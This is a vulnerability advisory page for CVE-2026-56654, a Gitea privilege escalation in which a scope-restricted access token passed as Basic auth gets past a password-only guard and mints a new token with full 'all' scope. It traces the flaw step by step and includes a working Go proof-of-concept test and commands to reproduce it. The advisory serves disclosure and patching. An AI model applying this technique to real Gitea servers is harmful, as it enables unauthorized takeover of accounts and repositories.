Loading...
Skip to main content

CVE-2026-56654

HIGH

Gitea: Privilege Escalation via Access Token Scope Escalation in API

Published July 21, 2026Updated July 22, 2026Source: osv

Summary

Gitea's API endpoint for creating Personal Access Tokens (`POST /users/{username}/tokens`) is protected by a middleware (`reqBasicOrRevProxyAuth`) that is intended to require password-based authentication, preventing a compromised token from being used to mint new ones. However, when a token is passed in the `Authorization: Basic <token>:x-oauth-basic` format, the Basic auth handler validates it and sets `AuthedMethod="basic"`, causing `IsBasicAuth=true` and fooling the middleware into passing the request. Once past the guard, the token creation handler applies no scope ceiling — it will create a new token with any requested scope regardless of the caller's scope. An attacker with a restricted token (e.g. `write:user` from a leaked CI secret) can therefore create a fully-privileged `all`-scoped token without knowing the account password. ### Data flow #### Step 1 - Token extracted from Basic auth header When the attacker sends Authorization: Basic base64(<token>:x-oauth-basic), parseAuthBasic detects that the password is "x-oauth-basic" and treats the username field as the token: https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/basic.go#L55-L64 `VerifyAuthToken` then validates the token against the database and sets `LoginMethod = "access_token"` and `ApiTokenScope` to the token's actual scope (`write:user`): https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/basic.go#L100-L106 #### Step 2 - `AuthedMethod` is set to `"basic"`, not `"access_token"` `Basic.Verify()` returns the user successfully, so `group.Verify()` sets `AuthedMethod` to the method's name — `"basic"` — regardless of whether a password or token was used: https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/group.go#L63-L65 #### Step 3 - `IsBasicAuth` is incorrectly set to true `AuthShared` computes `IsBasicAuth` by comparing `AuthedMethod` against the constant `"basic"`. Since step 2 set that field to "basic" for a token-authenticated request, the flag is wrong: https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/common/auth.go#L27 #### Step 4 - The guard is bypassed `reqBasicOrRevProxyAuth` checks only `ctx.IsBasicAuth`. Because that flag is `true`, the middleware passes and the request reaches `CreateAccessToken`: https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/api/v1/api.go#L392-L401 #### Step 5 - No scope ceiling in the handler `CreateAccessToken` normalizes the caller-supplied scope and assigns it directly to the new token. There is no check that the requested scope is a subset of `ApiTokenScope (write:user)`: https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/api/v1/user/app.go#L119-L128 ### Reproducing `tests/integration/api_token_scope_escalation_test.go` ```go package integration import ( "net/http" "testing" auth_model "gitea.dev/models/auth" "gitea.dev/models/unittest" user_model "gitea.dev/models/user" api "gitea.dev/modules/structs" "gitea.dev/tests" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" ) // TestAPIPrivilegeEscalationViaBasicAuthToken is a proof-of-concept for two // interconnected vulnerabilities that together allow full scope escalation: // // 1. reqBasicOrRevProxyAuth() is fooled into passing when a PAT is supplied in // the Authorization: Basic "<token>:x-oauth-basic" format. The Basic auth // handler sets AuthedMethod="basic" (the method name), so IsBasicAuth=true // even though the credential is a token, not a password. // // 2. CreateAccessToken performs no scope-ceiling check — it never verifies that // the requested scopes are a subset of the caller's token scopes. // // Combined effect: an attacker with a write:user-scoped token can create a new // token with the "all" scope, gaining full access to the account. func TestAPIPrivilegeEscalationViaBasicAuthToken(t *testing.T) { defer tests.PrepareTestEnv(t)() // Non-admin user — escalation is meaningful and not trivially justified. user := unittest.AssertExistsAndLoadBean(t, &user_model.User{ID: 2}) // Step 1 — Obtain a legitimately restricted token via password-based Basic auth. // Only write:user scope is granted; repository, admin, etc. are excluded. restrictedToken := createAPIAccessTokenWithoutCleanUp(t, "poc-restricted", user, []auth_model.AccessTokenScope{auth_model.AccessTokenScopeWriteUser}) defer deleteAPIAccessToken(t, restrictedToken, user) // Confirm the restricted token is blocked from repository-scoped endpoints. // This establishes the baseline: write:user does not imply read:repository. req := NewRequest(t, "GET", "/api/v1/repos/search"). AddTokenAuth(restrictedToken.Token) MakeRequest(t, req, http.StatusForbidden) // Step 2 — Exploit: supply the restricted token as Basic auth credentials. // Authorization: Basic base64("<token>:x-oauth-basic") // // Basic.Verify() validates the token and returns the user. group.Verify() then // sets AuthedMethod="basic" (the method name). auth.go maps that to // IsBasicAuth=true, satisfying reqBasicOrRevProxyAuth() even though no // password was provided. CreateAccessToken then creates the token with the // requested "all" scope without checking whether it exceeds the caller's scope. payload := map[string]any{ "name": "poc-escalated", "scopes": []string{"all"}, } req = NewRequestWithJSON(t, "POST", "/api/v1/users/"+user.LoginName+"/tokens", payload) req.SetBasicAuth(restrictedToken.Token, "x-oauth-basic") // This should be 403 (scope ceiling not enforced and IsBasicAuth check bypassed) // but is currently 201, confirming the vulnerability. resp := MakeRequest(t, req, http.StatusCreated) escalatedToken := DecodeJSON(t, resp, &api.AccessToken{}) require.NotNil(t, escalatedToken) defer deleteAPIAccessToken(t, *escalatedToken, user) // Step 3 — The escalated token carries the "all" scope. assert.Contains(t, escalatedToken.Scopes, "all", "escalated token scope must be 'all'; original token only had write:user") // Step 4 — The escalated token can now reach endpoints blocked to the original // token, confirming real privilege gain beyond write:user. req = NewRequest(t, "GET", "/api/v1/repos/search"). AddTokenAuth(escalatedToken.Token) MakeRequest(t, req, http.StatusOK) } ``` ```bash git clone https://github.com/go-gitea/gitea cd gitea git checkout 9155a81b9daf1d46b2380aa91271e623ac947c1e # Place the unit test above at `tests/integration/api_token_scope_escalation_test.go`. go test -run '^TestAPIPrivilegeEscalationViaBasicAuthToken$' ./tests/integration/ ``` A passing result confirms the vulnerability. The test output will show the two critical lines: the exploit POST returning 201 Created and the follow-up GET /api/v1/repos/search returning 200 OK with the escalated token.

Remediation

Upgrade to the fixed version using your package manager.

Go
Update code.gitea.io/gitea to 1.27.0 or later
go get code.gitea.io/gitea@v1.27.0

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

PackageEcosystemAffectedFixed In
code.gitea.io/gitea
go
All versions1.27.0

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-287
    Improper AuthenticationMITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 8.8 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Confidentiality
Integrity
Availability

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Frequently Asked Questions

What is CVE-2026-56654?
Gitea: Privilege Escalation via Access Token Scope Escalation in API This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.8/10).
How do I check if my project is affected by CVE-2026-56654?
CVE-2026-56654 affects code.gitea.io/gitea. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-56654 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
8.8

High exploitability or significant impact. Prioritize remediation within days.

Also Known As

GHSA-683j-3ff6-hh2x
GO-2026-6034

Related CVEs

  • CVE-2019-11576
    CRITICAL

    Gitea Allows 1FA Even for 2FA-Enrolled Accounts

  • CVE-2024-6886
    CRITICAL

    Gitea Cross-site Scripting Vulnerability

  • CVE-2026-20896
    CRITICAL

    Gitea Docker image: `REVERSE_PROXY_TRUSTED_PROXIES = *` default lets any source IP impersonate any user via `X-WEBAUTH-USER`

  • CVE-2026-27775
    HIGH

    Gitea: Cached Per-Branch Permission Check in Pre-Receive Hook Allows Full Repository Write

  • CVE-2026-58424
    HIGH

    Gitea: Permanent Fork PR Workflow Approval Gate Bypass

  • CVE-2026-57894
    HIGH

    Gitea: Repository Migration Follows Git HTTP Redirects After URL Allow/Block Validation, Enabling Internal Git Repository Exfiltration

  • CVE-2026-27771
    HIGH

    Gitea has insufficient permission checks for Composer package source links

  • CVE-2026-28737
    HIGH

    Gitea: Stored XSS via glTF `extensionsRequired` in Gitea 3D File Viewer

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies